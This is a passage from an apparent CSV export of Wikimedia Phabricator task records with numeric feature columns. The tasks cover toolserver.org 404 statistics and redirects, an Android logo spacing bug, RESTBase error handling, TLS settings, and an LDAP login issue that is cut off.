+#patch-for-review",,,1419297206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+392310,Login form password reset and account creation form inconsistent between desktop and mobile,Blocks T74910,,,1419297168,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+85167,"Make http (404, 302, 301 etc) statistics for toolserver.org","In https://phabricator.wikimedia.org/T85166  it turns out some redirects got lost. We probably still have quite a few incoming links to toolserver.org . Would be nice to have statistics for at least (and maybe more)
+* 404 - Someone is hitting an url that doesn't exist. Missing redirect?
+* 302/301 - Someone is hitting a redirect. If we have the referer and it's within the Wikimedia universe we can probably correct it
+
+At some point such statistics were available at http://tools.wmflabs.org/awstats/cgi-bin/awstats.pl but then they disappeared for no known reason.",Medium,50.0,1419281151,1583085876.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_description,resolved,True,c3,1,True,True,False,-28,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1
+1454662,"Make http (404, 302, 301 etc) statistics for toolserver.org",Where can you see them? The original link in the ticket description serves only a 503.,,,1583162064,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,243,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0
+1454223,"Make http (404, 302, 301 etc) statistics for toolserver.org",Done in 2016 and never closed?,,,1583085876,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,243,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+1454202,"Make http (404, 302, 301 etc) statistics for toolserver.org",Four years later: Is there still work left to do here / is there a way to get updated 404 stats for toolserver URIs? Or should this task be resolved?,,,1583081571,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,243,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+670535,"Make http (404, 302, 301 etc) statistics for toolserver.org",">>! In T85167#2303833, @Dzahn wrote:
+> https://web.archive.org/web/20120213110804/https://fisheye.toolserver.org/
+> 
+> Welcome to the Toolserver FishEye repository viewer. Here you can browse the contents of users' subversion repositories.
+
+You may find the new repositories scattered around e.g.
+* https://github.com/Toollabs
+* https://gerrit.wikimedia.org/r/#/admin/projects/?filter=labs%252Ftools%252F
+* https://bitbucket.org/magnusmanske/",,,1464444538,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1
+664676,"Make http (404, 302, 301 etc) statistics for toolserver.org","Change 289504 had a related patch set uploaded (by Dzahn):
+toolserver.org: send 410 Gone for ~cmarqu URLs
+
+[[https://gerrit.wikimedia.org/r/289504]]
+",,,1463600160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+664213,"Make http (404, 302, 301 etc) statistics for toolserver.org",">>! In T85167#2303689, @Dzahn wrote:
+> grep **fisheye.toolserver.org** /var/log/apache2/access.log  | wc -l
+> **8124**
+> 
+> (2016-05-17T06:43 - 2016-05-18T01:04)
+
+https://web.archive.org/web/20120213110804/https://fisheye.toolserver.org/
+
+Welcome to the Toolserver FishEye repository viewer. Here you can browse the contents of users' subversion repositories.
+
+https://en.wikipedia.org/wiki/FishEye_%28software%29
+
+
+",,,1463548283,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1
+664191,"Make http (404, 302, 301 etc) statistics for toolserver.org","Change 289347 merged by Dzahn:
+toolserver: redirect some old tool URLs that still get 404s
+
+[[https://gerrit.wikimedia.org/r/289347]]",,,1463535361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,45,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+664188,"Make http (404, 302, 301 etc) statistics for toolserver.org","Change 289347 had a related patch set uploaded (by Dzahn):
+toolserver: redirect some old tool URLs that still get 404s
+
+[[https://gerrit.wikimedia.org/r/289347]]
+",,,1463534697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,45,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+664182,"Make http (404, 302, 301 etc) statistics for toolserver.org","grep **fisheye.toolserver.org** /var/log/apache2/access.log  | wc -l
+**8124**
+
+(2016-05-17T06:43 - 2016-05-18T01:04)",,,1463533471,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+663327,"Make http (404, 302, 301 etc) statistics for toolserver.org","
+| tool | num 404s 
+| adler |2
+| agony |2
+| aka |24
+| al |17024
+| alchimista |4
+| alexz |3
+| amidaniel |2
+| animist |2
+| annabel |2
+| apper |21
+| authoritycontrol |16
+| avatar |8
+| awb |12
+| bawolff |231
+| bayo |5
+| bryan |12
+| byrial |1
+| catrope |1
+| cbm |27
+| chm |21
+| chris |17
+| cmackenzie |121
+| cmarqu |204169
+| cobi |4
+| commonshelper2 |1
+| conrad |26
+| contests |2
+| cspurrier |81
+| dab |55
+| daniel |688
+| danny_b |1
+| dapete |544
+| darkdadaah |68
+| dartar |7
+| dereckson |14
+| devunt |1
+| diberri |21
+| dispenser |13
+| dm |519
+| dpl |1
+| drini |5
+| dschwen |26
+| eagle |15
+| edwardspec |9
+| emijrp |10
+| emw |5
+| enwikt |282
+| enwp10 |56
+| erenrich |1
+| erfgoed |239
+| escaladix |18
+| essjay |3
+| flacus |13
+| fmaunier |27
+| foo |13
+| frog23 |127
+| fschulenburg |3
+| geohack |2551
+| geonick |1
+| geraki |2
+| gifti |1
+| gmaxwell |86
+| gribeco |15
+| guandalug |25
+| gunther |2
+| henna |1
+| hippietrail |6
+| holek |14
+| hroest |2
+| interiot |83
+| intuition |1
+| invadinado |2
+| ireas |7
+| jarry |16
+| jason |9
+| john |4
+| john |4
+| junaid |2
+| kalan |6
+| kate |26
+| kentaur |2
+| kolossos |208
+| krimpet |4
+| laaknor |3
+| leon |27
+| luxo |38
+| lvova |2
+| magnus |458
+| magnus |458
+| mapjedi |1
+| mathbot |7
+| merl |117
+| millosh |2
+| misza13 |11
+| mjbmr |4
+| mohamed |2
+| mwbot |2
+| myst |428
+| nakon |3
+| nemobis |2
+| netaction |140
+| nicdumz |1
+| nikola |32
+| nn123645 |1
+| ntavares |9
+| onion |2
+| osm |15057
+| overlordq |73
+| para |2475
+| petrb |1
+| phroziac |1
+| platonides |5
+| poty |23
+| prolineserver |4
+| purodha |3
+| putnik |11
+| pywikipedia |110
+| qq |1
+| quentinv57 |113
+| ral315 |2
+| render |11
+| RENDER |5
+| revolus |36
+| rhaworth |30
+| river |51
+| robert |2
+| robla |4
+| robotmonk |1
+| russell |16
+| schutz |242
+| siebrand |2
+| sk |3442
+| skagedal |967
+| slakr |1
+| sonet |4
+| soxred93 |1
+| sql |54
+| stephankn |33
+| stewardbots |1
+| str4nd |47
+| stwalkerster |10
+| superzerocool |111
+| svick |10
+| tangotango |78
+| ti |54337
+| tim |202
+| tim1357 |7
+| titoxd |2
+| tpt |3
+| unblock |3
+| valhallasw |1
+| verisimilus |22
+| voj |8
+| werdna |3
+| wiegels |1
+| wikifeeds |58
+| wikiminiatlas |2
+| wppb |18
+| zach |199
+",,,1463441072,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1
+663326,"Make http (404, 302, 301 etc) statistics for toolserver.org","
+| tool | num hits
+| adler |2
+| agony |2
+| aka |24
+| al |17024
+| alchimista |4
+| alexz |3
+| amidaniel |2
+| animist |2
+| annabel |2
+| apper |21
+| authoritycontrol |16
+| avatar |8
+| awb |12
+| bawolff |231
+| bayo |5
+| bryan |12
+| byrial |1
+| catrope |1
+| cbm |27
+| chm |21
+| chris |17
+| cmackenzie |121
+| cmarqu |204169
+| cobi |4
+| commonshelper2 |1
+| conrad |26
+| contests |2
+| cspurrier |81
+| dab |55
+| daniel |688
+| danny_b |1
+| dapete |544
+| darkdadaah |68
+| dartar |7
+| dereckson |14
+| devunt |1
+| diberri |21
+| dispenser |13
+| dm |519
+| dpl |1
+| drini |5
+| dschwen |26
+| eagle |15
+| edwardspec |9
+| emijrp |10
+| emw |5
+| enwikt |282
+| enwp10 |56
+| erenrich |1
+| erfgoed |239
+| escaladix |18
+| essjay |3
+| flacus |13
+| fmaunier |27
+| foo |13
+| frog23 |127
+| fschulenburg |3
+| geohack |2551
+| geonick |1
+| geraki |2
+| gifti |1
+| gmaxwell |86
+| gribeco |15
+| guandalug |25
+| gunther |2
+| henna |1
+| hippietrail |6
+| holek |14
+| hroest |2
+| interiot |83
+| intuition |1
+| invadinado |2
+| ireas |7
+| jarry |16
+| jason |9
+| john |4
+| john |4
+| junaid |2
+| kalan |6
+| kate |26
+| kentaur |2
+| kolossos |208
+| krimpet |4
+| laaknor |3
+| leon |27
+| luxo |38
+| lvova |2
+| magnus |458
+| magnus |458
+| mapjedi |1
+| mathbot |7
+| merl |117
+| millosh |2
+| misza13 |11
+| mjbmr |4
+| mohamed |2
+| mwbot |2
+| myst |428
+| nakon |3
+| nemobis |2
+| netaction |140
+| nicdumz |1
+| nikola |32
+| nn123645 |1
+| ntavares |9
+| onion |2
+| osm |15057
+| overlordq |73
+| para |2475
+| petrb |1
+| phroziac |1
+| platonides |5
+| poty |23
+| prolineserver |4
+| purodha |3
+| putnik |11
+| pywikipedia |110
+| qq |1
+| quentinv57 |113
+| ral315 |2
+| render |11
+| RENDER |5
+| revolus |36
+| rhaworth |30
+| river |51
+| robert |2
+| robla |4
+| robotmonk |1
+| russell |16
+| schutz |242
+| siebrand |2
+| sk |3442
+| skagedal |967
+| slakr |1
+| sonet |4
+| soxred93 |1
+| sql |54
+| stephankn |33
+| stewardbots |1
+| str4nd |47
+| stwalkerster |10
+| superzerocool |111
+| svick |10
+| tangotango |78
+| ti |54337
+| tim |202
+| tim1357 |7
+| titoxd |2
+| tpt |3
+| unblock |3
+| valhallasw |1
+| verisimilus |22
+| voj |8
+| werdna |3
+| wiegels |1
+| wikifeeds |58
+| wikiminiatlas |2
+| wppb |18
+| zach |199
+",,,1463441050,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1
+663324,"Make http (404, 302, 301 etc) statistics for toolserver.org","by FAR the highest number of hits is still for   ""cmarqu"". it's more than everything else combined and then some...
+
+
+",,,1463440483,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0
+663311,"Make http (404, 302, 301 etc) statistics for toolserver.org","list of tools that still generate 404s (as of access.log of today, which starts about 17h ago), so just today;
+
+toolserver.org/~adler
+toolserver.org/~agony
+toolserver.org/~aka
+toolserver.org/~aka	-	text
+toolserver.org/~al
+toolserver.org/~alchimista
+toolserver.org/~alexz
+toolserver.org/~amidaniel
+toolserver.org/~animist
+toolserver.org/~annabel
+toolserver.org/~apper
+toolserver.org/~authoritycontrol
+toolserver.org/~avatar
+toolserver.org/~awb
+toolserver.org/~bawolff
+toolserver.org/~bayo
+toolserver.org/~bryan
+toolserver.org/~byrial
+toolserver.org/~catrope
+toolserver.org/~cbm
+toolserver.org/~chm
+toolserver.org/~chris
+toolserver.org/~cmackenzie
+toolserver.org/~cmarqu
+toolserver.org/~cobi
+toolserver.org/~commonshelper2
+toolserver.org/config.php~	-	text
+toolserver.org/~conrad
+toolserver.org/~contests
+toolserver.org/~cspurrier
+toolserver.org/~dab
+toolserver.org/~daniel
+toolserver.org/~danny_b
+toolserver.org/~dapete
+toolserver.org/~darkdadaah
+toolserver.org/~dartar
+toolserver.org/~dereckson
+toolserver.org/~devunt	-	text
+toolserver.org/~diberri
+toolserver.org/~dispenser
+toolserver.org/~dm
+toolserver.org/~dpl
+toolserver.org/~drini
+toolserver.org/~dschwen
+toolserver.org/~eagle
+toolserver.org/~edwardspec
+toolserver.org/~emijrp
+toolserver.org/~emw
+toolserver.org/~enwikt
+toolserver.org/~enwp10
+toolserver.org/~erenrich
+toolserver.org/~erfgoed
+toolserver.org/~escaladix
+toolserver.org/~essjay
+toolserver.org/~flacus
+toolserver.org/~fmaunier
+toolserver.org/~foo
+toolserver.org/~frog23
+toolserver.org/~fschulenburg
+toolserver.org/~geohack
+toolserver.org/~geohack	-	text
+toolserver.org/~geonick
+toolserver.org/~geraki
+toolserver.org/~gifti
+toolserver.org/~gmaxwell
+toolserver.org/~gribeco
+toolserver.org/~guandalug
+toolserver.org/~gunther
+toolserver.org/~henna
+toolserver.org/~hippietrail
+toolserver.org/~holek
+toolserver.org/~hroest
+toolserver.org/~interiot
+toolserver.org/~intuition	-	text
+toolserver.org/~invadinado
+toolserver.org/~ireas
+toolserver.org/~jarry
+toolserver.org/~jason
+toolserver.org/~john
+toolserver.org/~john	-	text
+toolserver.org/~junaid
+toolserver.org/~kalan
+toolserver.org/~kate
+toolserver.org/~kentaur
+toolserver.org/~kolossos
+toolserver.org/~krimpet
+toolserver.org/~laaknor
+toolserver.org/~leon
+toolserver.org/~luxo
+toolserver.org/~lvova
+toolserver.org/~magnus
+toolserver.org/~magnus	-	text
+toolserver.org/~mapjedi
+toolserver.org/~mathbot
+toolserver.org/~merl
+toolserver.org/~millosh
+toolserver.org/~misza13
+toolserver.org/~mjbmr
+toolserver.org/~mohamed
+toolserver.org/~mwbot
+toolserver.org/~myst
+toolserver.org/~nakon
+toolserver.org/~nemobis
+toolserver.org/~netaction
+toolserver.org/~nicdumz
+toolserver.org/~nikola
+toolserver.org/~nn123645
+toolserver.org/~ntavares
+toolserver.org/~onion
+toolserver.org/~osm
+toolserver.org/~overlordq
+toolserver.org/~para
+toolserver.org/~petrb
+toolserver.org/~phroziac
+toolserver.org/~platonides
+toolserver.org/~poty
+toolserver.org/~prolineserver
+toolserver.org/~purodha
+toolserver.org/~purodha	-	text
+toolserver.org/~putnik
+toolserver.org/~pywikipedia
+toolserver.org/~qq
+toolserver.org/~quentinv57
+toolserver.org/~ral315
+toolserver.org/~render
+toolserver.org/~RENDER
+toolserver.org/~revolus
+toolserver.org/~rhaworth
+toolserver.org/~river
+toolserver.org/~robert
+toolserver.org/~robla
+toolserver.org/~robotmonk
+toolserver.org/~russell
+toolserver.org/~schutz
+toolserver.org/~sellstar585@outlook.com
+toolserver.org/~siebrand
+toolserver.org/~sk
+toolserver.org/~skagedal
+toolserver.org/~slakr
+toolserver.org/~sonet
+toolserver.org/~soxred93
+toolserver.org/~sql
+toolserver.org/~stephankn
+toolserver.org/~stewardbots
+toolserver.org/~str4nd
+toolserver.org/~stwalkerster
+toolserver.org/~superzerocool
+toolserver.org/~svick
+toolserver.org/~tangotango
+toolserver.org/~ti
+toolserver.org/~tim
+toolserver.org/~tim1357
+toolserver.org/~titoxd
+toolserver.org/~tpt
+toolserver.org/~unblock
+toolserver.org/~unblock	-	text
+toolserver.org/~valhallasw
+toolserver.org/~verisimilus
+toolserver.org/~voj
+toolserver.org/~werdna
+toolserver.org/~wiegels
+toolserver.org/~wikifeeds
+toolserver.org/~wikiminiatlas
+toolserver.org/~wppb
+toolserver.org/~zach
+",,,1463439992,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1
+392366,"Make http (404, 302, 301 etc) statistics for toolserver.org","I suspect this is the reason: http://wiki.openstreetmap.org/wiki/Hike_%26_Bike_Map (the connection to `hikebike` is obvious, and `hill` is possibly short for hill-shading).
+
+Probably there are third-party hosts that haven't updated their URLs. What's strange is that they haven't noticed after 6 months that their software/website/app isn't working...",,,1419331814,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+392252,"Make http (404, 302, 301 etc) statistics for toolserver.org","I'll be collecting sanitized logs for a bit.
+
+In the meantime, there are two very big outliers:
+
+/~cmarqu/hill/ and /tiles/hikebike/ represent over 95% of the legitimate 404s that I see.  Anyone knows what those are or should be redirected to?
+",,,1419285368,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,1,True,,,-28,True,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+78837,Raise HTTPError for responses with status >= 400,"From a [PR discussion](https://github.com/wikimedia/restbase/pull/79/files#r21990035), via https://github.com/wikimedia/restbase/issues/88:
+
+> There is some similar code in [server.js](https://github.com/wikimedia/restbase/blob/master/lib/server.js#L158). I'd like to move more towards raising [HTTPErrors](https://github.com/wikimedia/restbase/blob/master/lib/rbUtil.js#L250) for responses with a status >= 400, as that often cleans up the https://github.com/wikimedia/restbase/issues/88https://github.com/wikimedia/restbase/issues/88control flow & ensures that all error cases are handled.
+> 
+> As for detecting the precise error type: Using `isinstance HTTPError` would require access to the constructor, which is not always easy since some of these might come from preq & some might be generated inside of restbase. A slightly more precise alternative could be to use `err.name === HTTPError`.",Medium,50.0,1418856731,1426441087.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-pbsak5wauk2uolc6ozcf,task_description,resolved,True,c3,1,True,True,True,-29,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+78350,overlapping lines under the globe logo in the Android login screen,"In Hebrew the lines ""Wikipedia"" and ""The Free Encyclopedia"" overlap a bit because of letters that go above and below the line height.
+
+This probably happens also in other languages.
+
+The lines should be further from each other.
+
+It also makes sense to use the official SVG logos of each language.
+
+{F20909}",Medium,50.0,1418340730,1418925270.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-wrwaltfdecuqwsy63rwt,task_description,resolved,True,c3,1,True,False,True,-29,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+343414,overlapping lines under the globe logo in the Android login screen,"Change 180350 merged by Dbrant:
+More space between wordmark and slogan
+
+[[https://gerrit.wikimedia.org/r/180350]]",,,1418832009,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+343131,overlapping lines under the globe logo in the Android login screen,"Change 180350 had a related patch set uploaded (by BearND):
+More space between wordmark and slogan
+
+[[https://gerrit.wikimedia.org/r/180350]]
+
+#patch-for-review",,,1418772593,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+342468,overlapping lines under the globe logo in the Android login screen,Tracked here: https://trello.com/c/EITZ0HD4/26-increase-space-between-wikipedia-and-the-free-encyclopedia-in-onboarding-by-a-few-dps-to-avoid-an-issue-with-it-in-hebrew,,,1418668954,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+342467,overlapping lines under the globe logo in the Android login screen,We'll see if we can slightly increase the space between these two text views by a few dp to avoid this problem.,,,1418668852,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,True,,,-29,True,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+78160,https://payments.wikimedia.org is not up to date with the TLS settings used,"https://payments.wikimedia.org is not up to date with the TLS settings used.
+See: T55259#593938",Medium,50.0,1418230141,1422626989.0,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-USER-cwqdddnpyui7ysn4xsuw,False,PHID-TASK-uulo3isuh3kooflnqebf,task_description,duplicate,True,c3,1,True,False,True,-30,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+78108,Login hangs for new LDAP users in Mediawiki 1.24.0,"After successful upgrade from MediaWiki 1.24.6, logging in as a new MediaWiki user using LDAP credentials hangs on login.
+
+PHP Error logs shows the following:
+```
